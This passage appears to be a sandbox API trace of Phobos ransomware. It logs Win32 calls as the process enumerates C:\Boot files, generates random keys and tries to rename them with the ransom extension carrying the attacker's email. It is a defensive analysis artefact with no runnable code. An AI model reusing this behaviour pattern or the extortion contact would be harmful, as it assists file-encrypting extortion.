lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.367] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.367] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.367] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=80224) returned 1 [0162.367] CloseHandle (hObject=0x290) returned 1 [0162.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0162.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.368] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.368] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.368] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.368] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=46496) returned 1 [0162.368] CloseHandle (hObject=0x290) returned 1 [0162.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0162.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.369] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.369] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.369] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.369] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=74072) returned 1 [0162.369] CloseHandle (hObject=0x290) returned 1 [0162.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0162.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.370] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.370] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.370] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.370] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=74144) returned 1 [0162.370] CloseHandle (hObject=0x290) returned 1 [0162.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0162.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.370] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.371] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.371] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.371] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=44960) returned 1 [0162.371] CloseHandle (hObject=0x290) returned 1 [0162.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0162.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.371] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.371] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.371] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.373] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=77664) returned 1 [0162.373] CloseHandle (hObject=0x290) returned 1 [0162.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0162.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.373] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.374] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.374] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.374] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45984) returned 1 [0162.374] CloseHandle (hObject=0x290) returned 1 [0162.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0162.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.374] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.374] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.374] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.375] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=77664) returned 1 [0162.375] CloseHandle (hObject=0x290) returned 1 [0162.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0162.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.375] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.375] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.375] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.376] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=75104) returned 1 [0162.376] CloseHandle (hObject=0x290) returned 1 [0162.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0162.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.376] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.376] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.376] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.376] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=76640) returned 1 [0162.376] CloseHandle (hObject=0x290) returned 1 [0162.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0162.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.377] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.377] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45472) returned 1 [0162.377] CloseHandle (hObject=0x290) returned 1 [0162.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0162.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.377] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.379] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3695719) returned 1 [0162.379] CloseHandle (hObject=0x290) returned 1 [0162.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0162.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0162.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0162.380] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.380] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.381] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3878410) returned 1 [0162.381] CloseHandle (hObject=0x290) returned 1 [0162.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0162.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0162.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0162.382] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.382] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.384] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1985867) returned 1 [0162.384] CloseHandle (hObject=0x290) returned 1 [0162.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0162.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0162.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0162.384] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.384] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.385] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2373000) returned 1 [0162.385] CloseHandle (hObject=0x290) returned 1 [0162.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0162.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0162.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0162.386] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.386] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.387] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=174959) returned 1 [0162.387] CloseHandle (hObject=0x290) returned 1 [0162.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0162.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.387] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.387] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.387] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.388] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=177414) returned 1 [0162.388] CloseHandle (hObject=0x290) returned 1 [0162.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0162.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.388] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.388] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.389] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.389] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=143754) returned 1 [0162.389] CloseHandle (hObject=0x290) returned 1 [0162.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0162.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.390] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.390] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.390] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.391] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=145419) returned 1 [0162.391] CloseHandle (hObject=0x290) returned 1 [0162.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0162.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 